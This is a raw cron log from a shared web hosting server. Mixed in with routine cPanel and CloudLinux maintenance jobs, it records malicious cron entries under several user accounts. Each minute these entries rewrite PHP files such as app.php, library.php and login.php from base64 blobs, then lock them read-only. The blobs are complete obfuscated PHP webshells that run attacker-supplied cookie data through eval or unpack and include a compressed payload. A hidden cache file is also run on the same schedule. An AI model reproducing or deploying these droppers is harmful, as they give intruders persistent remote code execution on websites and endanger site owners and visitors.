Mar  1 13:47:02 medusa CROND[14266]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:48:01 medusa CROND[6203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:48:01 medusa CROND[6294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:48:01 medusa CROND[6337]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:48:01 medusa CROND[6338]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:48:01 medusa CROND[6339]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:48:01 medusa CROND[6340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:48:01 medusa CROND[6341]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:48:01 medusa CROND[6344]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:48:01 medusa CROND[6345]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:48:01 medusa CROND[6346]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:48:01 medusa CROND[6350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:48:01 medusa CROND[6352]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:48:01 medusa CROND[6355]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:49:01 medusa CROND[29793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:49:02 medusa CROND[29947]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:49:02 medusa CROND[29949]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:49:02 medusa CROND[29948]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:49:02 medusa CROND[29951]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:49:02 medusa CROND[29950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:49:02 medusa CROND[29952]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:49:02 medusa CROND[29954]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:49:02 medusa CROND[29955]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:49:02 medusa CROND[29957]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:49:02 medusa CROND[29959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:49:02 medusa CROND[29968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:50:01 medusa CROND[20201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:50:01 medusa CROND[20313]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20334]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:50:02 medusa CROND[20335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 13:50:02 medusa CROND[20336]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:50:02 medusa CROND[20340]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:50:02 medusa CROND[20342]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 13:50:02 medusa CROND[20338]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:50:02 medusa CROND[20343]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
